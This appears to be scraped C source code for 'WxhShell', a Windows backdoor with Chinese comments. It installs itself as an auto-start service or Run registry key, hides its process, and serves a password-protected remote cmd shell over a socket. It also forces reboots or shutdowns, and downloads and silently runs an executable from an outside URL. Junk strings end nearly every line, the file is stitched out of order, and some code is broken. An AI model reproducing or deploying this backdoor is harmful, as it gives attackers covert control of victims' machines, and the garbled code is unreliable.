    break; {$Fg+~   
    } Xt9?7J#\T  
  // 关机 w,JB`jS)/  
  case 'd': { KWhw@y-5j@  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); eGnc6)x@C  
    if(Boot(SHUTDOWN)) 0}HKmEM  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); knF *~O :y  
    else { SOeL@!_  
    closesocket(wsh); "K~+T\^|k  
    ExitThread(0); iVnrv`k,  
    }  ZY keW  
    break; ,uuQj]Dac+  
    } 0UlaB sv  
  // 获取shell 4JP01lq'\  
  case 's': { RI cA)I.  
    CmdShell(wsh);  :E'38~  
    closesocket(wsh); q6/ o.j   
    ExitThread(0); }%_x T  
    break; ?u 9) GJO[  
  } t</Kel|D  
  // 退出 /koNcpJ  
  case 'x': { !L-.bve!  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); (q3(bH~T)  
    CloseIt(wsh); f{5)yZ`J*  
    break; N.BD]_C  
    } i>0I '~V  
  // 离开 4z[Z3|_V  
  case 'q': { r"J1C  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); j}S  
    closesocket(wsh); I@ }:} 8t  
    WSACleanup(); Uj6R?E{Jt  
    exit(1); lXL\e(ow  
    break; .ay K+6I  
        } ^|as]x!sv  
  } sStaT R{  
  } $eRxCX?b2  
=^=9z'u"=  
  // 提示信息 y&9v0&o  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); +<@7x16  
} %E~4Ur  
  } 3(6i6 vV  
q^Oq:l$s  
  return; N$?mula  
} 7P:0XML}  
. |KxQn}  
// shell模块句柄 -twIF49  
int CmdShell(SOCKET sock) GVn7#0x  
{ ,GZ(>|  
STARTUPINFO si; ZK3?"|vhC  
ZeroMemory(&si,sizeof(si)); ~"brfjd|  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; h Sr#/dw&  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; p;BdzV>  
PROCESS_INFORMATION ProcessInfo; f{WJM>$:  
char cmdline[]="cmd"; <}N0 y*m  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); '-gk))u>)  
  return 0; :3{@LOil^  
} Og"50-  
ObMsncn  
// 自身启动模式 1wqCoDgkp  
int StartFromService(void) 8uS1HE\%  
{ NzNAhlXj3  
typedef struct xg\M9&J  
{ y.w/7iw:  
  DWORD ExitStatus; M)Tv(7  
  DWORD PebBaseAddress; a5z.c_7r  
  DWORD AffinityMask; Mz+|~'R  
  DWORD BasePriority; pShSK Rg  
  ULONG UniqueProcessId; E^#|1Kpq  
  ULONG InheritedFromUniqueProcessId; U: gE:tf  
}   PROCESS_BASIC_INFORMATION; hG&RGN_<6+  
2%1 g%  
PROCNTQSIP NtQueryInformationProcess; !W]># Pm  
G:A ~nv9  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 8+v6%,K2  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; {Kd9}CDAZ  
Z(*n ZT,  
  HANDLE             hProcess; bHWy9-  
  PROCESS_BASIC_INFORMATION pbi; X#1So.}c  
}B^s!y&b  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ZEUd?"gaR  
  if(NULL == hInst ) return 0; oQWS$\Rr.  
`k _5Pz\  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); DV*8Mkzg  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Nr3td`;  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); %v : a  
:14O=C  
  if (!NtQueryInformationProcess) return 0; p5c'gziR  
m!N_TOl-^  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); H ,KU!1p  
  if(!hProcess) return 0; (fm\kV  
= J).(E89  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; tG{e(  
 6<sB   
  CloseHandle(hProcess); d q"b_pr;  
X f!Bsp#\g  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); RZm5[n  
if(hProcess==NULL) return 0; 52wq<[#tK  
dSk\J[D  
HMODULE hMod; r"Pj ,}$A  
char procName[255]; :]=Y1*L\)  
unsigned long cbNeeded; )|uPCZdLZ  
qJ#?=ITE  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); c<DsCzX  
+lO Y IQ  
  CloseHandle(hProcess); \QHe0?6  
H:d{Sru  
if(strstr(procName,"services")) return 1; // 以服务启动 I)_072^O  
ZRD* ^9)  
  return 0; // 注册表启动 CHN!o9f  
} 9SC#N 5V  
^X[Kr=:Jp  
// 主模块 T1\Xz-1  
int StartWxhshell(LPSTR lpCmdLine) }_@cqx:n^  
{  6:ZqS~-  
  SOCKET wsl; #}:VZ2Z  
BOOL val=TRUE; "g>uNtt~  
  int port=0; ~W%A8`9  
  struct sockaddr_in door; Wy)|-Q7  
1fViW^l_  
  if(wscfg.ws_autoins) Install(); |>jlY|  
WI[6 l6  
port=atoi(lpCmdLine); 92+({ fg W  
%jqBYn0q'  
if(port<=0) port=wscfg.ws_port; zdU<]ge  
"MM7qV  
  WSADATA data; mK@\6GOMYP  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 5(u7b  
yY[[)  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   nH NMoA  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Ny\iRU)fN  
  door.sin_family = AF_INET;  ItC*[  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 57v[b-SK  
  door.sin_port = htons(port); IOvYvFUUJ  
htMsS4^Kvd  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { XRJ<1w:  
closesocket(wsl); k[A=:H1"  
return 1; R:0Fv9bwS  
} "EWU:9\0  
vb{&T<  
  if(listen(wsl,2) == INVALID_SOCKET) { i ,4  
closesocket(wsl); J j yQ  
return 1; { tim{nV  
} XMa(XOnX  
  Wxhshell(wsl); q,QMvUK:  
  WSACleanup(); T/)$}#w0i  
i3rvD ch  
return 0; =f.f%g6  
]rZ"5y  
} uhQ3  
e`<=& w  
// 以NT服务方式启动 vyN =X]p  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) cV&(L]k>`  
{ Itj|0PGd  
DWORD   status = 0; >fdS$,`A  
  DWORD   specificError = 0xfffffff; w_/q5]/V-5  
*ZKfyn$+~  
  serviceStatus.dwServiceType     = SERVICE_WIN32; &p=|z2 J  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; F! c%&Z  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; x>&1;g2r  
  serviceStatus.dwWin32ExitCode     = 0; =WJ*$j(  
  serviceStatus.dwServiceSpecificExitCode = 0; az F"tke  
  serviceStatus.dwCheckPoint       = 0; oopTo51,a  
  serviceStatus.dwWaitHint       = 0; $T1 D ?X  
$-5iwZ  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler);  J@(*(oQb  
  if (hServiceStatusHandle==0) return; xfos>|0N  
 5t:4%  
status = GetLastError(); k,X` }AJ6  
  if (status!=NO_ERROR) 3M+hjc.  
{ 75Jh(hd(  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; <IK8 Ucp  
    serviceStatus.dwCheckPoint       = 0; DK*2 d_  
    serviceStatus.dwWaitHint       = 0; 9i,QCA  
    serviceStatus.dwWin32ExitCode     = status; !@ai=p  
    serviceStatus.dwServiceSpecificExitCode = specificError; 4LUFG  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); |+cyb<(V J  
    return; < ynm A  
  } /D 2v 1  
YOP=gvZq  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; A~h.,<+"  
  serviceStatus.dwCheckPoint       = 0; + 5sT GNG  
  serviceStatus.dwWaitHint       = 0; 8l+\Qyj  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); XZ Z Ml  
} )I.[@#-  
'n)M0e  
// 处理NT服务事件,比如:启动、停止 <3Co/.VQd  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Uu }ai."iB  
{ w/h?, L|  
switch(fdwControl) } Yj ic4?  
{ xJ^Gtq Um  
case SERVICE_CONTROL_STOP: .~ZNlI {K  
  serviceStatus.dwWin32ExitCode = 0; aR*z5p2-w  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Kdik7jL/J  
  serviceStatus.dwCheckPoint   = 0; Ax=Rb B"  
  serviceStatus.dwWaitHint     = 0; WASs'Gx  
  { \W??`?Idh  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); S-.!BQ@RMZ  
  } FyZw='D  
  return; s-o0N{b?#'  
case SERVICE_CONTROL_PAUSE: }"Hf/{E$_"  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; C1)TEkc"C  
  break; bYgrKz@uK  
case SERVICE_CONTROL_CONTINUE: 'JKFEUzM  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; #*}4=  
  break; l4L&hY^  
case SERVICE_CONTROL_INTERROGATE: w<-CKM3qe  
  break; BU<A+Pe>  
}; i^Ep[3  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); KosAc'/ M  
} vT\`0di~  
;w}ZI<ou  
// 标准应用程序主函数 K}&|lCsb  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 42ttmN1F  
{ Mf/zSQk+  
!OPa `kSh  
// 获取操作系统版本 ]{.rx),  
OsIsNt=GetOsVer(); |v[{k>7f  
GetModuleFileName(NULL,ExeFile,MAX_PATH); % 89f<F\V  
;}=v|Dr&I.  
  // 从命令行安装 A4Q8^^byY  
  if(strpbrk(lpCmdLine,"iI")) Install(); 3xp%o5K  
1ncY"S/VO  
  // 下载执行文件 %]r@vjeyd  
if(wscfg.ws_downexe) { 6$ 9n_AS  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) oizD:|  
  WinExec(wscfg.ws_filenam,SW_HIDE); )/Ee#)z*  
} ?9OiF-:n  
0Evmq3,9  
if(!OsIsNt) { 6b6}HO  
// 如果时win9x,隐藏进程并且设置为注册表启动 Q$iv27  
HideProc(); )O#>ONm^  
StartWxhshell(lpCmdLine); E`u=$~K  
} a}hpcr({?  
else J+Q ;'J  
  if(StartFromService()) wu/]M~XwI  
  // 以服务方式启动 |9~{&<^X  
  StartServiceCtrlDispatcher(DispatchTable); F1w~f <  
else jiC;*]n  
  // 普通方式启动 daGGgSbh  
  StartWxhshell(lpCmdLine); D(@#Gd\Z@  
&r/a\t,8n  
return 0; .Rd@,3  
} Beiz*2-}a  
xzz[!yJjG  
{S'xZ._=  
>|XQfavE  
=========================================== @&83/U?  
Gv?'R0s  
ncu &<j}U  
=5[}&W  
#'v7mEwt  
q,PB; TT  
" w2@ `0  
~{=+dQ  
#include <stdio.h> g$EjIHb  
#include <string.h> 5ok3q@1_]{  
#include <windows.h> CsQ}eW8uEf  
#include <winsock2.h> x6.an_W6  
#include <winsvc.h> s'tmak-}|  
#include <urlmon.h> <,`=m|z9k  
)?K3nr  
#pragma comment (lib, "Ws2_32.lib") df&d+jY  
#pragma comment (lib, "urlmon.lib") :G9.}VrU  
T&tCXi  
#define MAX_USER   100 // 最大客户端连接数 [NQ`S ~_:  
#define BUF_SOCK   200 // sock buffer >]&LbUW+  
#define KEY_BUFF   255 // 输入 buffer 4%KNHeaN  
600-e;p  
#define REBOOT     0   // 重启 BN|+2D+S  
#define SHUTDOWN   1   // 关机 #T99p+O  
[`6|~E"F  
#define DEF_PORT   5000 // 监听端口 k8GcHqNHx  
:@`Ll;G  
#define REG_LEN     16   // 注册表键长度 j_o6+R k  
#define SVC_LEN     80   // NT服务名长度 0^? 3hK  
'<^%> R2  
// 从dll定义API \T/~" w  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Q*^zphT  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); A@?2qX^4  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 0>)('Kv  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ;B:'8$j$  
kC!7<%(  
// wxhshell配置信息 |GA4fFE=  
struct WSCFG { gX{V>T(<  
  int ws_port;         // 监听端口 : N>5{  
  char ws_passstr[REG_LEN]; // 口令 I'`Q_5s5  
  int ws_autoins;       // 安装标记, 1=yes 0=no d-#MRl$rtK  
  char ws_regname[REG_LEN]; // 注册表键名 Y@Lv>p  
  char ws_svcname[REG_LEN]; // 服务名 BikmAa  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 6*A S4l  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 "c\ZUx_i6  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 |FS79Bv  
int ws_downexe;       // 下载执行标记, 1=yes 0=no OU]!2[7c  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" so9h6K{qcp  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 W&;X+XA_W  
S_y!4;]ox  
}; 5$`i)}:s  
#6 e  
// default Wxhshell configuration `|8)A)ZVT  
struct WSCFG wscfg={DEF_PORT,  G;Q)A$-  
    "xuhuanlingzhe", 9} :n  
    1, $"!"=v%B  
    "Wxhshell", *S~gF/*kP  
    "Wxhshell", W=M]1hy  
            "WxhShell Service", CKNC"Y*X  
    "Wrsky Windows CmdShell Service", )|x) KY  
    "Please Input Your Password: ", &y;('w  
  1, ' {5|[  
  "http://www.wrsky.com/wxhshell.exe", ^+Ie   
  "Wxhshell.exe" #VgPg5k.<  
    }; Dr^#e  
+#"CgZ]  
// 消息定义模块 'ZgrN14  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; +Tf,2?O  
char *msg_ws_prompt="\n\r? for help\n\r#>"; : tu6'X\k  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; %4Y/-xF}9,  
char *msg_ws_ext="\n\rExit."; SaH0YxnY+  
char *msg_ws_end="\n\rQuit."; x\]%TTps  
char *msg_ws_boot="\n\rReboot..."; w`bojM@e1  
char *msg_ws_poff="\n\rShutdown..."; nAZuA]p}S]  
char *msg_ws_down="\n\rSave to "; 21O!CvX   
? DWF7{1  
char *msg_ws_err="\n\rErr!"; ;[R{oW Nw  
char *msg_ws_ok="\n\rOK!"; k#_B^J&d  
f\nF2rlu  
char ExeFile[MAX_PATH]; |bk.gh  
int nUser = 0; : P>Wd3m  
HANDLE handles[MAX_USER]; qt=gz6!  
int OsIsNt; Du k v[/60  
ArDkJ`DE  
SERVICE_STATUS       serviceStatus; x=pq-&9>B  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; %G1kkcdH<  
B<SuNbR  
// 函数声明 )[|`-M~u  
int Install(void); Smzy EMT  
int Uninstall(void); g)u ~GA*=  
int DownloadFile(char *sURL, SOCKET wsh); iq)4/3"6  
int Boot(int flag); y/Fv4<X  
void HideProc(void); 6J9^:gXW~  
int GetOsVer(void); OGw =e{  
int Wxhshell(SOCKET wsl); FX`SaY>D  
void TalkWithClient(void *cs); h|$.`$  
int CmdShell(SOCKET sock); Kr3L~4>  
int StartFromService(void); YDE;mIW  
int StartWxhshell(LPSTR lpCmdLine); aF7" 4^P  
l~kxt2&  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); (, Il>cR4  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); .uG|Vq1v  
l`G .lM(  
// 数据结构和表定义 7E*d>:5I  
SERVICE_TABLE_ENTRY DispatchTable[] = ujGvrY j  
{ `rzgC \  
{wscfg.ws_svcname, NTServiceMain}, :@a8>i1&  
{NULL, NULL} hg_@Ui@[z  
}; 9!6sf GZ  
wWB-P6  
// 自我安装 yANk(  
int Install(void) ~W p>tnl  
{ Oz<{B]pEul  
  char svExeFile[MAX_PATH]; ^  ry   
  HKEY key;  w~wpm7  
  strcpy(svExeFile,ExeFile); n@<+D`[.V  
FO#`}? R`  
// 如果是win9x系统,修改注册表设为自启动 I&^ B?"Y  
if(!OsIsNt) { uO8z.  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { DUUQz:?{J  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); >0z(+}]3z  
  RegCloseKey(key); e~w-v"'  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { NI_.wB{  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Ea#wtow|-  
  RegCloseKey(key); [LDsn]{  
  return 0; 7t &KKKV  
    } 99j^<)  
  } T~@$WM(  
} }wJ-*By{+  
else { 'yd<<BM`  
D|lp3\`%  
// 如果是NT以上系统,安装为系统服务 |giV<Sj  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); $a|C/s+}7>  
if (schSCManager!=0) LxaR1E(Cc'  
{ qOAK`{b  
  SC_HANDLE schService = CreateService Qxr&zT7f  
  ( #\U;,r  
  schSCManager, wN'Q\l+  
  wscfg.ws_svcname, ?.Z4GWyXa  
  wscfg.ws_svcdisp, mxUM&`[  
  SERVICE_ALL_ACCESS, Khp`KPxz%  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , n\Y{ ?x  
  SERVICE_AUTO_START, r!A1Sfo4P  
  SERVICE_ERROR_NORMAL, ^GMM%   
  svExeFile, `IL''eJug_  
  NULL, \@8j&],dl  
  NULL, 8D7 = ]  
  NULL, Y|$3%t  
  NULL, Q'xZ\t  
  NULL EF1aw2  
  ); -wJ/j~ +m+  
  if (schService!=0) OE_;i}58  
  { F*Lm=^:  
  CloseServiceHandle(schService); RS'!>9I  
  CloseServiceHandle(schSCManager); 1 XsB  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 1Z-f@PoM  
  strcat(svExeFile,wscfg.ws_svcname); J<J_yRg2  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { !;EG<ji,gj  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); zQvp<IUq  
  RegCloseKey(key); CJ0{>?  
  return 0; 5R"My^G  
    } 2w6 y  
  } ~Iw7Xq E2  
  CloseServiceHandle(schSCManager); &+]x  
} X;`XkOjk  
} 7L68voC@U  
rik-C7  
return 1; ,FWC|uM"  
} AY3nQH   
R)4L]ZF  
// 自我卸载 Xi vzhI4  
int Uninstall(void) 3zi(|B[,?  
{ 1C) l) pV  
  HKEY key; "W!Uxc  
2rK%fV53b  
if(!OsIsNt) { 6%'bo`S#  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { |oCE7'BaP  
  RegDeleteValue(key,wscfg.ws_regname); HjG!pO{  
  RegCloseKey(key); l!U F`C0g  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { hbfTv;=z  
  RegDeleteValue(key,wscfg.ws_regname); +JQ/DNv  
  RegCloseKey(key); L<8:1/d\  
  return 0; Td~CnCor  
  } 9&(d2  
} H$GJpXIb  
} %-u Ra\  
else { 9cV;W\ Tw  
W!.F\H,(  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); cO}`PD$i  
if (schSCManager!=0) gzdR|IBa  
{ ig:E` Fe@  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); X'BFR]cm  
  if (schService!=0) ca~nfo  
  { t\& u  
  if(DeleteService(schService)!=0) { T.m*LM  
  CloseServiceHandle(schService); '#JC 6#X   
  CloseServiceHandle(schSCManager); gKyYBr  
  return 0; 9k5$rK`  
  } "zpc)'$ L=  
  CloseServiceHandle(schService); .v<Q-P\8/  
  } =2-!ay:  
  CloseServiceHandle(schSCManager); wLX:~]<xl  
} ^Yu<fFn  
} _G9 vsi  
oUXi 4lsSc  
return 1; ++b1VBP  
} +-8S,Rg@   
b=Rw=K.  
// 从指定url下载文件 !{hC99q6  
int DownloadFile(char *sURL, SOCKET wsh) ~CTe5PX c  
{ (- ]A1WQ?  
  HRESULT hr; >\J({/ #O  
char seps[]= "/"; O+ ].'  
char *token; Pr|:nJs  
char *file; oaxCcB=\  
char myURL[MAX_PATH]; k{M4.a[(  
char myFILE[MAX_PATH]; 53vnON#{*  
6;|6@j  
strcpy(myURL,sURL); "DWw]\xO](  
  token=strtok(myURL,seps); ^o;f~6#17  
  while(token!=NULL) uU+R,P0  
  { kH&KE5  
    file=token; 8v eG^o  
  token=strtok(NULL,seps); os<YfMM<:/  
  } /E(319u_  
Ab| t E5%  
GetCurrentDirectory(MAX_PATH,myFILE); ui _nvD:  
strcat(myFILE, "\\"); Q7<_> )e^  
strcat(myFILE, file); x d9+P  
  send(wsh,myFILE,strlen(myFILE),0); w4 R!aWLd  
send(wsh,"...",3,0); dS+/G9X^  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); =1/d>kke  
  if(hr==S_OK) 6.uyY@Yx  
return 0; ? zFeP6C  
else "t[9EbFL  
return 1; >gQJ6q  
}@+3QHwYU  
} N*vBu `  
'{e9Vh<x  
// 系统电源模块 pb>TUKvT&  
int Boot(int flag) 6oh\#v3zV  
{ r8]y1 Om<  
  HANDLE hToken; V5]}b[X  
  TOKEN_PRIVILEGES tkp; j=&]=0F  
Wc6Jgpl  
  if(OsIsNt) { uv&??F]/  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); D's Tv}P  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); I-L52%E]  
    tkp.PrivilegeCount = 1; 7FQ&LF46  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; G[;GP0\N  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); x%J4A+kU  
if(flag==REBOOT) { tBJCfM  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) H8$l }pOz  
  return 0; CxvL!ew  
} yJyovfJz.  
else { V'-}B6 3S>  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ?W6qwm,?L  
  return 0; nTG@=C#  
} 2 %`~DVo  
  } q:}Q5gzZ  
  else { DQ#rZi3I  
if(flag==REBOOT) { H<Ne\zAv  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) q?&Ap*  
  return 0; &oU) ,H  
} B^;G3+}  
else { "L?h@8sa  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) o7_*#5rD  
  return 0; #8cpZ]#  
} O_gr{L}  
} 0@O:C::  
>g{ w,  
return 1; b8QQS#q)V  
} 7? 1[sPM  
d*}dM "  
// win9x进程隐藏模块 n8FmIoZ&`  
void HideProc(void) L6>;"]:f`  
{ "7G>  
Q sXy(w#F  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 4@qHS0$  
  if ( hKernel != NULL ) j=q*b Qr  
  { t\GoUeH]  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); &1!T@^56  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); BXzn-S  
    FreeLibrary(hKernel); Bv=  
  } Qru iQ/t  
%>)HAx `  
return; CXAW>VdK_  
} uPbGQ:%}  
t9QnEP'  
// 获取操作系统版本 fV "gL(7  
int GetOsVer(void) ' F,.y6QU  
{  Zk={3Y  
  OSVERSIONINFO winfo; ekR/X  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); r bfIH":  
  GetVersionEx(&winfo); cs-wqxTX[$  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ?W27 h  
  return 1; /s/\5-U7q  
  else x>ZnQ6x~m]  
  return 0; O4+a[82  
} P( Gv|Q@  
k <EzYh  
// 客户端句柄模块 b +4x2{  
int Wxhshell(SOCKET wsl) t7P[^f15[  
{ f4mQDRlD  
  SOCKET wsh; -;1nv:7Z3  
  struct sockaddr_in client; l KdY!j"  
  DWORD myID; yPn!1=-(  
B$\,l.h E  
  while(nUser<MAX_USER) 6r]l8*3 4;  
{ o/J2BZ<_<  
  int nSize=sizeof(client); *XCgl*% *  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); WDF;`o*3  
  if(wsh==INVALID_SOCKET) return 1; ;ndwVZ~,  
2F z;TNS  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); MsD@pa  
if(handles[nUser]==0) lTR/o  
  closesocket(wsh); tCVaRP8eC+  
else 0etJ, _">  
  nUser++; 3g{T+c*  
  } ;^"#3_7T]  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); SjmWlf,  
2[V9`r8*  
  return 0; qQ{i2D%)?f  
} +YX *.dW  
U65a _dakk  
// 关闭 socket LQo>wl  
void CloseIt(SOCKET wsh) xQ]^wT.Q  
{ #~JR_oQE!  
closesocket(wsh); <@](uWu  
nUser--; n>o0PtGxC  
ExitThread(0); o4U[;.?c  
} Z'<I Is:J  
R'z -#*[  
// 客户端请求句柄 ir?Y>  
void TalkWithClient(void *cs) =qNZ7>Qw  
{ o9JZ -biH  
iD(+\:E  
  SOCKET wsh=(SOCKET)cs; #;lB5) oe  
  char pwd[SVC_LEN]; !RPPwvNk4  
  char cmd[KEY_BUFF]; h!!7LPxt  
char chr[1]; ^5{0mn_4i  
int i,j; .1q4Q\B<  
.Bs~FIe^  
  while (nUser < MAX_USER) { e.n*IJ_fz  
hgU#2`fS  
if(wscfg.ws_passstr) { !xRboPg  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); U#mrbW  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 2@jlF!zC  
  //ZeroMemory(pwd,KEY_BUFF); M&h`uO/[  
      i=0; DxvD 1u   
  while(i<SVC_LEN) { <uf,@N5m  
hLo>jE  
  // 设置超时 AnW72|=A(  
  fd_set FdRead; u 6"v}gN  
  struct timeval TimeOut; kKHGcm^r  
  FD_ZERO(&FdRead); 'VQ mK#  
  FD_SET(wsh,&FdRead); gwQk M4  
  TimeOut.tv_sec=8; ~]l T>|X  
  TimeOut.tv_usec=0; C%ZSsp u  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); |EpL~ G_  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); V.?Oly  
m`lxQik  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); :dML+R#Ymh  
  pwd=chr[0]; LEgx"H=c  
  if(chr[0]==0xd || chr[0]==0xa) { na0-v-  
  pwd=0; pN-c9n4#j  
  break;  x#hGJT  
  } dFw>SYrpu  
  i++; q)F@f /  
    } xU(yc}vw,  
%AV[vr,  
  // 如果是非法用户,关闭 socket ;#+Se,)  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); {[tx^b  
} :L&d>Ii|'  
rE5q BEh  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 6d#:v"^,  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); [ }1+=Ub  
,enU`}9V*  
while(1) { =AVr<kP  
XT<{J8 0z  
  ZeroMemory(cmd,KEY_BUFF); s4kkzTnXE3  
y7LT;`A  
      // 自动支持客户端 telnet标准   f{j.jfl\x  
  j=0; c%O8h  
  while(j<KEY_BUFF) { .G/2CVMj  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ,nnVHBN  
  cmd[j]=chr[0]; =L F9im  
  if(chr[0]==0xa || chr[0]==0xd) { ,2/y(JX}*!  
  cmd[j]=0; m{ VC1BkZ  
  break; 9i`sSi8   
  } V.H<KyaJ  
  j++; O<}KrmUC~  
    } n| [RXpAp3  
jv5Os-  
  // 下载文件 jC3)^E@:"  
  if(strstr(cmd,"http://")) { 8r-'m%l  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); <}z, !w8  
